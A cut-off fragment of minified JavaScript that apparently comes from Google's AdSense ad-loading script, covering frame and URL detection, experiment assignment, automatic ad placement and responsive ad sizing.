h=null;do{d=g;if(x(d)){var k=d.location.href;h=d.document&&d.document.referrer||null}else k=h,h=null;b.push(new vc(k||"",d));try{g=d.parent}catch(da){g=null}}while(g&&d!=g);k=0;for(var m=b.length-1;k<=m;++k)b[k].depth=m-k;d=l;if(d.location&&d.location.ancestorOrigins&&d.location.ancestorOrigins.length==b.length-1)for(k=1;k<b.length;++k){var n=b[k];n.url||(n.url=d.location.ancestorOrigins[k-1]||"",n.oa=!0)}var p=new vc(l.location.href,l,!1);m=null;var q=b.length-1;for(n=q;0<=n;--n){var u=b[n];!m&&tc.test(u.url)&&(m=u);if(u.url&&!u.oa){p=u;break}}u=null;var z=b.length&&b[q].url;0!=p.depth&&z&&(u=b[q]);var J=new uc(p,u);J.l&&Ac(f,6,"top",J.l.url||"");Ac(f,7,"url",J.j.url||"");Dc(this.A,e,f,this.v,c)}catch(da){try{Dc(this.A,e,{context:"ecmserr",rctx:a,msg:Xc(da),url:J&&J.j.url},this.v,c)}catch(eh){}}return this.s};var Xc=function(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&&(a=c+"\n"+a);for(var d;a!=d;)d=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(e){b=c}}return b},Wc=function(a,b,c){sc.call(this,Error(a),{message:a,file:void 0===b?"":b,line:void 0===c?-1:c})};ia(Wc,sc);var H=function(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,H):this.stack=Error().stack||""};ia(H,Error);var $c=function(a){return 0==(a.error&&a.meta&&a.id?a.msg||Xc(a.error):Xc(a)).indexOf("TagError")};var Uc,G,Qc=Pb(),Tc=new Rc,ad=function(a){null!=a&&(Qc.google_measure_js_timing=a);Qc.google_measure_js_timing||(a=Tc,a.j=!1,a.events!=a.l.google_js_reporting_queue&&(Pc()&&Da(a.events,Sc),a.events.length=0))};Uc=new function(){var a=void 0===a?v:a;this.s="http:"===a.location.protocol?"http:":"https:";this.l="pagead2.googlesyndication.com";this.o="/pagead/gen_204?id=";this.j=.01;this.v=Math.random()};G=new Vc;"complete"==Qc.document.readyState?ad():Tc.j&&Bb(Qc,"load",function(){ad()});var dd=function(){var a=[bd,cd];G.o=function(b){Da(a,function(a){a(b)})}},ed=function(a,b,c,d){return Yc(G,a,c,d,b)},fd=function(a,b){return Zc(a,b)},gd=G.j,hd=function(a,b,c,d){return $c(b)?(G.v=!0,G.j(a,b,.1,d,"puberror"),!1):G.j(a,b,c,d)},id=function(a,b,c,d){return $c(b)?!1:G.j(a,b,c,d)};var jd=new function(){this.j=["google-auto-placed"];this.l={google_tag_origin:"qs"}};var kd=function(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));Dc(Uc,"ama",b,!0,.01,void 0)};var ld=function(a){cc(this,a,null)};ua(ld,D);var md=null,nd=function(){if(!md){for(var a=l,b=a,c=0;a&&a!=a.parent;)if(a=a.parent,c++,x(a))b=a;else break;md=b}return md};var od={google:1,googlegroups:1,gmail:1,googlemail:1,googleimages:1,googleprint:1},pd=/(corp|borg)\.google\.com:\d+$/,qd=function(){var a=v.google_page_location||v.google_page_url;"EMPTY"==a&&(a=v.google_page_url);if(vb||!a)return!1;a=a.toString();0==a.indexOf("http://")?a=a.substring(7,a.length):0==a.indexOf("https://")&&(a=a.substring(8,a.length));var b=a.indexOf("/");-1==b&&(b=a.length);a=a.substring(0,b);if(pd.test(a))return!1;a=a.split(".");b=!1;3<=a.length&&(b=a[a.length-3]in od);2<=a.length&&(b=b||a[a.length-2]in od);return b};var rd=function(a){a=a.document;return("CSS1Compat"==a.compatMode?a.documentElement:a.body)||{}},I=function(a){return rd(a).clientWidth};var sd=function(a,b){Array.prototype.slice.call(a).forEach(b,void 0)};var td=function(a,b,c,d){this.s=a;this.l=b;this.o=c;this.j=d};td.prototype.toString=function(){return JSON.stringify({nativeQuery:this.s,occurrenceIndex:this.l,paragraphIndex:this.o,ignoreMode:this.j})};var ud=function(a,b){if(null==a.j)return b;switch(a.j){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.j)}},wd=function(a){var b=[];sd(a.getElementsByTagName("p"),function(a){100<=vd(a)&&b.push(a)});return b},vd=function(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;sd(a.childNodes,function(a){b+=vd(a)});return b},xd=function(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};var yd=function(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};var zd=function(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=Ua(d.Ga);a[e]=d.value}};var Ad={1:1,2:2,3:3,0:0},Bd=function(a){return null!=a?Ad[a]:a},Cd={1:0,2:1,3:2,4:3};var Dd=function(a,b){if(!a)return!1;a=y(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a},Ed=function(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null},Fd=function(a){return!!a.nextSibling||!!a.parentNode&&Fd(a.parentNode)};var Gd=function(a,b){this.j=l;this.v=a;this.s=b;this.o=jd||null;this.l=!1},Id=function(a,b){if(a.l)return!0;try{var c=a.j.localStorage.getItem("google_ama_settings");var d=c?new ld(c?JSON.parse(c):null):null}catch(g){d=null}if(c=null!==d)d=E(d,2),c=null==d?!1:d;if(c)return a=a.j.google_ama_state=a.j.google_ama_state||{},a.eatf=!0;c=fc(a.s,mc,1);for(d=0;d<c.length;d++){var e=c[d];if(1==E(e,8)){var f=ec(e,kc,4);if(f&&2==E(f,1)&&Hd(a,e,b))return a.l=!0,a=a.j.google_ama_state=a.j.google_ama_state||{},a.placement=d,!0}}return!1},Hd=function(a,b,c){if(1!=E(b,8))return!1;var d=ec(b,ic,1);if(!d)return!1;var e=E(d,7);if(E(d,1)||E(d,3)||0<dc(d,4).length){var f=E(d,3),g=E(d,1),h=dc(d,4);e=E(d,2);var k=E(d,5);d=Bd(E(d,6));var m="";g&&(m+=g);f&&(m+="#"+xd(f));if(h)for(f=0;f<h.length;f++)m+="."+xd(h[f]);e=(h=m)?new td(h,e,k,d):null}else e=e?new td(e,E(d,2),E(d,5),Bd(E(d,6))):null;if(!e)return!1;k=[];try{k=a.j.document.querySelectorAll(e.s)}catch(u){}if(k.length){h=k.length;if(0<h){d=Array(h);for(f=0;f<h;f++)d[f]=k[f];k=d}else k=[];k=ud(e,k);r(e.l)&&(h=e.l,0>h&&(h+=k.length),k=0<=h&&h<k.length?[k[h]]:[]);if(r(e.o)){h=[];for(d=0;d<k.length;d++)f=wd(k[d]),g=e.o,0>g&&(g+=f.length),0<=g&&g<f.length&&h.push(f[g]);k=h}e=k}else e=[];if(0==e.length)return!1;e=e[0];k=E(b,2);k=Cd[k];k=void 0!==k?k:null;if(!(h=null==k)){a:{h=a.j;switch(k){case 0:h=Dd(Ed(e),h);break a;case 3:h=Dd(e,h);break a;case 2:d=e.lastChild;h=Dd(d?1==d.nodeType?d:Ed(d):null,h);break a}h=!1}if(c=!h&&!(!c&&2==k&&!Fd(e)))c=1==k||2==k?e:e.parentNode,c=!(c&&!yd(c)&&0>=c.offsetWidth);h=!c}if(h)return!1;b=ec(b,jc,3);h={};b&&(h.ta=E(b,1),h.ja=E(b,2),h.ya=!!E(b,3));var n;b=a.j;c=a.o;d=a.v;f=b.document;a=f.createElement("div");g=a.style;g.textAlign="center";g.width="100%";g.height="auto";g.clear=h.ya?"both":"none";h.Aa&&zd(g,h.Aa);f=f.createElement("ins");g=f.style;g.display="block";g.margin="auto";g.backgroundColor="transparent";h.ta&&(g.marginTop=h.ta);h.ja&&(g.marginBottom=h.ja);h.xa&&zd(g,h.xa);a.appendChild(f);f.setAttribute("data-ad-format","auto");h=[];if(g=c&&c.j)a.className=g.join(" ");f.className="adsbygoogle";f.setAttribute("data-ad-client",d);h.length&&f.setAttribute("data-ad-channel",h.join("+"));a:{try{switch(k){case 0:e.parentNode&&e.parentNode.insertBefore(a,e);break;case 3:var p=e.parentNode;if(p){var q=e.nextSibling;if(q&&q.parentNode!=p)for(;q&&8==q.nodeType;)q=q.nextSibling;p.insertBefore(a,q)}break;case 1:e.insertBefore(a,e.firstChild);break;case 2:e.appendChild(a)}yd(e)&&(e.setAttribute("data-init-display",e.style.display),e.style.display="block");f.setAttribute("data-adsbygoogle-status","reserved");p={element:f};(n=c&&c.l)&&(p.params=n);(b.adsbygoogle=b.adsbygoogle||[]).push(p)}catch(u){a&&a.parentNode&&(n=a.parentNode,n.removeChild(a),yd(n)&&(n.style.display=n.getAttribute("data-init-display")||"none"));n=!1;break a}n=!0}return n?!0:!1};var Kd=function(){this.l=new Jd(this);this.j=0},Ld=function(a){if(0!=a.j)throw Error("Already resolved/rejected.")},Jd=function(a){this.j=a},Md=function(a){switch(a.j.j){case 0:break;case 1:a.ca&&a.ca(a.j.s);break;case 2:a.sa&&a.sa(a.j.o);break;default:throw Error("Unhandled deferred state.")}};var Nd=function(a){this.exception=a},Od=function(a,b){this.l=l;this.o=a;this.j=b};Od.prototype.start=function(){this.s()};Od.prototype.s=function(){try{switch(this.l.document.readyState){case "complete":case "interactive":Id(this.o,!0);Pd(this);break;default:Id(this.o,!1)?Pd(this):this.l.setTimeout(sa(this.s,this),100)}}catch(a){Pd(this,a)}};var Pd=function(a,b){try{var c=a.j,d=new Nd(b);Ld(c);c.j=1;c.s=d;Md(c.l)}catch(e){a=a.j,b=e,Ld(a),a.j=2,a.o=b,Md(a.l)}};var Qd=function(a){kd(a,{atf:1})},Rd=function(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;kd(a,{atf:0})};var Sd=function(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledByReactiveTag={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.debugCard=null;this.messageValidationEnabled=this.debugCardRequested=!1;this.adRegion=this.floatingAdsFillMessage=this.grappleTagStatusService=null};var cd=function(a){try{var b=l.google_ad_modifications;if(null!=b){var c=Ea(b.eids,b.loeids);null!=c&&0<c.length&&(a.eid=c.join(","))}}catch(d){}},bd=function(a){a.shv=ub()};G.s=!vb;var Td={9:"400",10:"100",11:"0.10",12:"0.02",13:"0.001",14:"300",15:"100",19:"0.01",22:"0.01",23:"0.2",24:"0.05",26:"0.5",27:"0.001",28:"0.001",29:"0.01",32:"0.02",34:"0.001",37:"0.0",40:"0.15",42:"0",43:"0.02",47:"0.01",48:"0.2",49:"0.2",51:"0.05",52:"0.1",54:"800",55:"200",56:"0.001",57:"0.001",58:"0.02",60:"0.03",65:"0.02",66:"0.0",67:"0.04",70:"1.0",71:"700",72:"10",74:"0.03",75:"true",76:"0.004",77:"true",78:"0.1",79:"1200",80:"2",82:"3",83:"1.0",84:"0",85:"200",89:"1.0",90:"0.0",92:"0.02",94:"true",96:"700",97:"2",98:"0.01",99:"600",100:"100",101:"false"};var Ud=null,Vd=function(){this.V=Td},K=function(a,b){a=parseFloat(a.V[b]);return isNaN(a)?0:a},Wd=function(){Ud||(Ud=new Vd);return Ud};var Xd={m:"368226200",u:"368226201"},Yd={m:"368226210",u:"368226211"},Zd={m:"38893301",K:"38893302",T:"38893303"},$d={m:"38893311",K:"38893312",T:"38893313"},ae={m:"36998750",u:"36998751"},be={m:"4089040",ea:"4089042"},ce={B:"20040067",m:"20040068",da:"1337"},de={m:"21060548",B:"21060549"},ee={m:"21060623",B:"21060624"},fe={Y:"62710015",m:"62710016"},ge={Y:"62710017",m:"62710018"},he={m:"201222021",D:"201222022"},ie={m:"201222031",D:"201222032"},L={m:"21060866",u:"21060867",U:"21060868",ua:"21060869",I:"21060870",J:"21060871"},je={m:"21060550",u:"21060551"},ke={m:"332260000",G:"332260001",H:"332260002",F:"332260003"},le={m:"332260004",G:"332260005",H:"332260006",F:"332260007"},me={m:"21060518",u:"21060519"},ne={m:"21060830",ha:"21060831",Z:"21060832",ga:"21060843",fa:"21061122"},oe={m:"191880501",u:"191880502"},pe={m:"21061394",u:"21061395"},qe={m:"10583695",u:"10583696"},re={m:"10593695",u:"10593696"};Hc=!1;var se=new Fc(0,199),te=new Fc(200,399),ue=new Fc(400,599),ve=new Fc(600,699),we=new Fc(700,799),xe=new Fc(800,999);var ze=function(a){var b=Wd();a=ye(a,we,K(b,96),K(b,97),["182982000","182982100"]);if(!a)return{L:"",M:""};b={};b=(b["182982000"]="182982200",b["182982100"]="182982300",b)[a];return{L:a,M:b}},Ae=function(a){var b=Wd(),c=ye(a,we,K(b,71),K(b,72),["153762914","153762975"]),d="";"153762914"==c?d="153762530":"153762975"==c&&(d="153762841");if(c)return{L:c,M:d};c=ye(a,we,K(b,71)+K(b,72),K(b,80),["164692081","165767636"]);"164692081"==c?d="166717794":"165767636"==c&&(d="169062368");return{L:c||"",M:d}},Be=function(a){var b=a.google_ad_modifications=a.google_ad_modifications||{};if(!b.plle){b.plle=!0;var c=b.eids=b.eids||[];b=b.loeids=b.loeids||[];var d=Wd(),e=ze(a),f=e.L;e=e.M;if(f&&e)M(c,f),M(c,e);else{var g=Ae(a);M(b,g.L);M(c,g.M)}g=Yd;f=ye(a,se,K(d,84),K(d,85),[g.m,g.u]);M(b,f);var h=Xd;f==g.m?e=h.m:f==g.u?e=h.u:e="";M(c,e);g=be;M(c,ye(a,ue,K(d,9),K(d,10),[g.m,g.ea]));Ja("")&&M(b,"");g=fe;f=N(a,K(d,11),[g.m,g.Y]);g=Fa(g,function(a){return a==f});g=ge[g];M(c,f);M(c,g);g=L;g=N(a,K(d,12),[g.m,g.u,g.U,g.ua,g.I,g.J]);M(c,g);g||(g=je,g=N(a,K(d,58),[g.m,g.u]),M(c,g));g||(g=me,f=N(a,K(d,56),[g.m,g.u]),M(c,f));g=ce;f=N(a,K(d,13),[g.B,g.m]);M(c,f);M(c,Kc([g.da],0));g=de;f=N(a,K(d,60),[g.B,g.m]);M(c,f);f==de.B&&(g=ee,f=N(a,K(d,66),[g.B,g.m]),M(c,f));g=ie;f=ye(a,te,K(d,14),K(d,15),[g.m,g.D]);M(b,f);h=he;f==g.m?e=h.m:f==g.D?e=h.D:e="";M(c,e);g=le;f=ye(a,xe,K(d,54),K(d,55),[g.m,g.G,g.H,g.F]);M(b,f);h=ke;f==g.m?e=h.m:f==g.G?e=h.G:f==g.H?e=h.H:f==g.F?e=h.F:e="";M(c,e);g=$d;f=N(a,K(d,70),[g.K]);M(b,f);h=Zd;switch(f){case g.m:e=h.m;break;case g.K:e=h.K;break;case g.T:e=h.T;break;default:h=""}M(c,e);g=ae;f=N(a,K(d,98),[g.m,g.u]);M(c,f);if(tb(d.V[77],!1)||vb)g=ne,f=N(a,K(d,76),[g.m,g.ha,g.Z,g.ga]),M(c,f),f||(f=N(a,K(d,83),[g.fa]),M(c,f));g=oe;f=N(a,K(d,90),[g.m,g.u]);tb(d.V[94],!1)&&!f&&(f=g.u);M(c,f);g=pe;f=N(a,K(d,92),[g.m,g.u]);M(c,f);g=qe;f=ye(a,ve,K(d,99),K(d,100),[g.m,g.u]);M(b,f);h=re;f==g.m?e=h.m:f==g.u?e=h.u:e="";M(c,e)}},M=function(a,b){b&&a.push(b)},Ce=function(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/google_plle=([\d,]+)/))&&a[1];return!!a&&-1!=a.indexOf(b)},N=function(a,b,c){for(var d=0;d<c.length;d++)if(Ce(a,c[d]))return c[d];return Kc(c,b)},ye=function(a,b,c,d,e){for(var f=0;f<e.length;f++)if(Ce(a,e[f]))return e[f];f=new Ec(c,c+d-1);(d=0>=d||d%e.length)||(b=b.j,d=!(b.start<=f.start&&b.j>=f.j));d?c=null:(a=Gc(a),c=null!==a&&f.start<=a&&f.j>=a?e[(a-c)%e.length]:null);return c};var De=function(a){if(!a)return"";(a=a.toLowerCase())&&"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};var Ee=function(a,b,c){var d=void 0===d?"":d;var e=["<iframe"],f;for(f in a)a.hasOwnProperty(f)&&Kb(e,f+"="+a[f]);e.push('style="'+("left:0;position:absolute;top:0;width:"+b+"px;height:"+c+"px;")+'"');e.push("></iframe>");a=a.id;b="border:none;height:"+c+"px;margin:0;padding:0;position:relative;visibility:visible;width:"+b+"px;background-color:transparent;";return['<ins id="',a+"_expand",'" style="display:inline-table;',b,void 0===d?"":d,'"><ins id="',a+"_anchor",'" style="display:block;',b,'">',e.join(" "),"</ins></ins>"].join("")},Fe=function(a,b,c){var d=a.document.getElementById(b).contentWindow;if(x(d))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&&b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open("text/html","replace"):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=['"'];for(d=0;d<c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=Sa[e])){if(!(31<f&&127>f))if(f=e,f in Ta)e=Ta[f];else if(f in Sa)e=Ta[f]=Sa[f];else{h=f.charCodeAt(0);if(31<h&&127>h)e=f;else{if(256>h){if(e="\\x",16>h||256<h)e+="0"}else e="\\u",4096>h&&(e+="0");e+=h.toString(16).toUpperCase()}e=Ta[f]=e}h=e}b[g]=h}b.push('"');a.location.replace("javascript:"+b.join(""))}};var Ge=null;var He={rectangle:1,horizontal:2,vertical:4};var O=function(a,b){this.v=a;this.s=b};O.prototype.minWidth=function(){return this.v};O.prototype.height=function(){return this.s};O.prototype.j=function(a){return 300<a&&300<this.s?this.v:Math.min(1200,Math.round(a))};O.prototype.o=function(a){return this.j(a)+"x"+this.height()};O.prototype.l=function(){};var P=function(a,b,c,d){d=void 0===d?!1:d;O.call(this,a,b);this.W=c;this.za=d};ia(P,O);P.prototype.l=function(a,b,c,d){1!=c.google_ad_resize&&(d.style.height=this.height()+"px")};var Ie=function(a){return function(b){return!!(b.W&a)}};function Je(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=A(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}var Ke=function(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();var e={x:d.left-c.left,y:d.top-c.top}}catch(f){e=null}return(a=e)?a.y:0},Le=function(a,b){do{var c=y(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0},Me=function(a,b,c){var d=c.google_safe_for_responsive_override;return null!=d?d:c.google_safe_for_responsive_override=Le(a,b)},Ne=function(a){var b=0,c;for(c in He)-1!=a.indexOf(c)&&(b|=He[c]);return b},Oe=function(a,b){for(var c=I(b),d=0;100>d&&a;d++){var e=y(a,b);if(e&&"hidden"==e.overflowX&&(e=A(e.width))&&e<c)return!0;a=a.parentElement}return!1},Pe=function(a,b){for(var c=a,d=0;100>d&&c;d++){var e=c.style;if(e&&e.height&&"auto"!=e.height&&"inherit"!=e.height||e&&e.maxHeight&&"auto"!=e.maxHeight&&"inherit"!=e.maxHeight)return!1;c=c.parentElement}c=a;for(d=0;100>d&&c;d++){if((e=y(c,b))&&"hidden"==e.overflowY)return!1;c=c.parentElement}c=a;for(d=0;100>d&&c;d++){a:{e=a;var f=["height","max-height"],g=b.document.styleSheets;if(g)for(var h=e.matches||e.webkitMatchesSelector||e.mozMatchesSelector||e.msMatchesSelector||e.oMatchesSelector,k=0;k<Math.min(g.length,10);++k){var m=void 0;try{var n=g[k],p=null;try{p=n.cssRules||n.rules}catch(u){if(15==u.code)throw u.styleSheet=n,u}m=p}catch(u){continue}if(m&&0<m.length)for(p=0;p<Math.min(m.length,10);++p)if(h.call(e,m[p].selectorText))for(var q=0;q<f.length;++q)if(-1!=m[p].cssText.indexOf(f[q])){e=!0;break a}}e=!1}if(e)return!1;c=c.parentElement}return!0},Qe=function(a,b,c,d,e){e=e||{};if((vb&&a.google_top_window||a.top)!=a)return e.google_fwr_non_expansion_reason=3,!1;if(!(488>I(a)))return e.google_fwr_non_expansion_reason=4,!1;if(!(a.innerHeight>=a.innerWidth))return e.google_fwr_non_expansion_reason=5,!1;var f=I(a);return!f||(f-c)/f>d?(e.google_fwr_non_expansion_reason=6,!1):Oe(b.parentElement,a)?(e.google_fwr_non_expansion_reason=7,!1):!0},Re=function(a,b,c,d){var e;(e=!Qe(b,c,a,.3,d))||(e=I(b),a=e-a,e&&5<=a?a=!0:((d||{}).google_fwr_non_expansion_reason=e?-10>a?11:0>a?14:0==a?13:12:10,a=!1),e=!a);return e?!1:Me(c,b,d)?!0:(d.google_fwr_non_expansion_reason=9,!1)},Se=function(a){for(var b=0,c=0;100>c&&a;c++)b+=a.offsetLeft+a.clientLeft-a.scrollLeft,a=a.offsetParent;return b},Te=function(a,b,c){return{pa:A(a.paddingLeft)||0,direction:a.direction,la:b-c}},Ue=function(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=y(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1},Ve=function(a,b,c,d,e,f){if(a=y(c,a)){var g=Te(a,e,d);d=g.direction;a=g.pa;g=g.la;f.google_ad_resize?c=-1*(g+a)+"px":(c=Se(c)+a,c="rtl"==d?-1*(g-c)+"px":-1*c+"px");"rtl"==d?b.style.marginRight=c:b.style.marginLeft=c;b.style.width=e+"px";b.style.zIndex=30}};var We=function(a,b,c){if(a.style){var d=A(a.style[c]);if(d)return d}if(a=y(a,b))if(c=A(a[c]))return c;return null},Xe=function(a){return function(b){return b.minWidth()<=a}},$e=function(a,b,c){var d=a&&Ye(c,b),e=Ze(b);return function(a){return!(d&&a.height()>=e)}},af=function(a){return function(b){return b.height()<=a}},Ye=function(a,b){return Ke(a,b)<rd(b).clientHeight-100},bf=function(a,b){var c=Infinity;do{var d=We(b,a,"height");d&&(c=Math.min(c,d));(d=We(b,a,"maxHeight"))&&(c=Math.min(c,d))}while((b=b.parentElement)&&"HTML"!=b.tagName);return c},cf=function(a,b){var c=We(b,a,"height");if(c)return c;var d=b.style.height;b.style.height="inherit";c=We(b,a,"height");b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&A(b.style.height))&&(c=Math.min(c,d)),(d=We(b,a,"maxHeight"))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c},Ze=function(a){var b=a.google_unique_id;return C(a,ie.D)&&0==("number"===typeof b?b:0)?2*rd(a).clientHeight/3:250};var Q=function(a,b,c,d,e,f,g,h,k,m,n,p,q,u){this.X=a;this.w=b;this.W=void 0===c?null:c;this.P=void 0===d?null:d;this.j=void 0===e?null:e;this.s=void 0===f?null:f;this.v=void 0===g?null:g;this.A=void 0===h?null:h;this.l=void 0===k?null:k;this.o=void 0===m?null:m;this.C=void 0===n?null:n;this.N=void 0===p?null:p;this.O=void 0===q?null:q;this.R=void 0===u?null:u},df=function(a,b,c){null!=a.W&&(c.google_responsive_formats=a.W);null!=a.P&&(c.google_safe_for_responsive_override=a.P);null!=a.j&&(c.google_full_width_responsive_allowed=a.j);1!=c.google_ad_resize&&(c.google_ad_width=a.w.j(b),c.google_ad_height=a.w.height(),c.google_ad_format=a.w.o(b),c.google_responsive_auto_format=a.X,c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,a.j&&(c.gfwrnh=a.w.height()+"px"));null!=a.s&&(c.google_fwr_non_expansion_reason=a.s);null!=a.v&&(c.gfwroml=a.v);null!=a.A&&(c.gfwromr=a.A);null!=a.l&&(c.gfwroh=a.l,c.google_resizing_height=A(a.l)||"");null!=a.o&&(c.gfwrow=a.o,c.google_resizing_width=A(a.o)||"");null!=a.C&&(c.gfwroz=a.C);null!=a.N&&(c.gml=a.N);null!=a.O&&(c.gmr=a.O);null!=a.R&&(c.gzi=a.R)};var ef=function(){return!(w("iPad")||w("Android")&&!w("Mobile")||w("Silk"))&&(w("iPod")||w("iPhone")||w("Android")||w("IEMobile"))};var ff=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"],R={},gf=(R.image_stacked=1/1.91,R.image_sidebyside=1/3.82,R.mobile_banner_image_sidebyside=1/3.82,R.pub_control_image_stacked=1/1.91,R.pub_control_image_sidebyside=1/3.82,R.pub_control_image_card_stacked=1/1.91,R.pub_control_image_card_sidebyside=1/3.74,R.pub_control_text=0,R.pub_control_text_card=0,R),S={},hf=(S.image_stacked=80,S.image_sidebyside=0,S.mobile_banner_image_sidebyside=0,S.pub_control_image_stacked=80,S.pub_control_image_sidebyside=0,S.pub_control_image_card_stacked=85,S.pub_control_image_card_sidebyside=0,S.pub_control_text=80,S.pub_control_text_card=80,S),jf={},kf=(jf.pub_control_image_stacked=100,jf.pub_control_image_sidebyside=200,jf.pub_control_image_card_stacked=150,jf.pub_control_image_card_sidebyside=250,jf.pub_control_text=100,jf.pub_control_text_card=150,jf),lf=function(a,b){O.call(this,a,b)};ia(lf,O);lf.prototype.j=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};var mf=function(a){var b=0;Hb(ff,function(c){null!=a[c]&&++b});if(0===b)return!1;if(b===ff.length)return!0;throw new H("Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together.")},qf=function(a,b){nf(a,b);if(a<Ca){if(ef()){of(b,"mobile_banner_image_sidebyside",1,12);var c=+b.google_content_recommendation_columns_num;c=(a-8*c-8)/c;var d=b.google_content_recommendation_ui_type;b=b.google_content_recommendation_rows_num-1;return new Q(9,new lf(a,Math.floor(c/1.91+70)+Math.floor((c*gf[d]+hf[d])*b+8*b+8)))}of(b,"image_sidebyside",1,13);return new Q(9,pf(a))}of(b,"image_stacked",4,2);return new Q(9,pf(a))};function pf(a){return 1200<=a?new lf(1200,600):850<=a?new lf(a,Math.floor(.5*a)):550<=a?new lf(a,Math.floor(.6*a)):468<=a?new lf(a,Math.floor(.7*a)):new lf(a,Math.floor(3.44*a))}var rf=function(a,b){nf(a,b);var c=b.google_content_recommendation_ui_type.split(","),d=b.google_content_recommendation_columns_num.split(","),e=b.google_content_recommendation_rows_num.split(",");a:{if(c.length==d.length&&d.length==e.length){if(1==c.length){var f=0;break a}if(2==c.length){f=a<Ca?0:1;break a}throw new H("The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while "+("you are providing "+c.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".'))}if(c.length!=d.length)throw new H('The parameter length of data-matched-content-ui-type does not match data-matched-content-columns-num. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".');throw new H('The parameter length of data-matched-content-columns-num does not match data-matched-content-rows-num. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')}c=c[f];c=0==c.lastIndexOf("pub_control_",0)?c:"pub_control_"+c;d=+d[f];for(var g=kf[c],h=d;a/h<g&&1<h;)h--;h!==d&&l.console&&l.console.warn("adsbygoogle warning: data-matched-content-columns-num "+d+" is too large. We override it to "+h+".");d=h;e=+e[f];of(b,c,d,e);if(Number.isNaN(d)||0===d)throw new H("Wrong value for data-matched-content-columns-num");if(Number.isNaN(e)||0===e)throw new H("Wrong value for data-matched-content-rows-num");b=Math.floor(((a-8*d-8)/d*gf[c]+hf[c])*e+8*e+8);if(1500<a)throw new H("Calculated slot width is too large: "+a);if(1500<b)throw new H("Calculated slot height is too large: "+b);return new Q(9,new lf(a,b))};function nf(a,b){if(0>=a)throw new H("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.")}function of(a,b,c,d){a.google_content_recommendation_ui_type=b;a.google_content_recommendation_columns_num=c;a.google_content_recommendation_rows_num=d};var sf=function(a,b){O.call(this,a,b)};ia(sf,O);sf.prototype.j=function(){return this.minWidth()};sf.prototype.l=function(a,b,c,d){var e=this.j(b);Ve(a,d,d.parentElement,b,e,c);1!=c.google_ad_resize&&(d.style.height=this.height()+"px")};var tf=function(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}},uf=function(a,b,c){for(var d=a.length,e=null,f=0;f<d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&&(e=g)}}return e};var T=[new P(970,90,2),new P(728,90,2),new P(468,60,2),new P(336,280,1),new P(320,100,2),new P(320,50,2),new P(300,600,4),new P(300,250,1),new P(250,250,1),new P(234,60,2),new P(200,200,1),new P(180,150,1),new P(160,600,4),new P(125,125,1),new 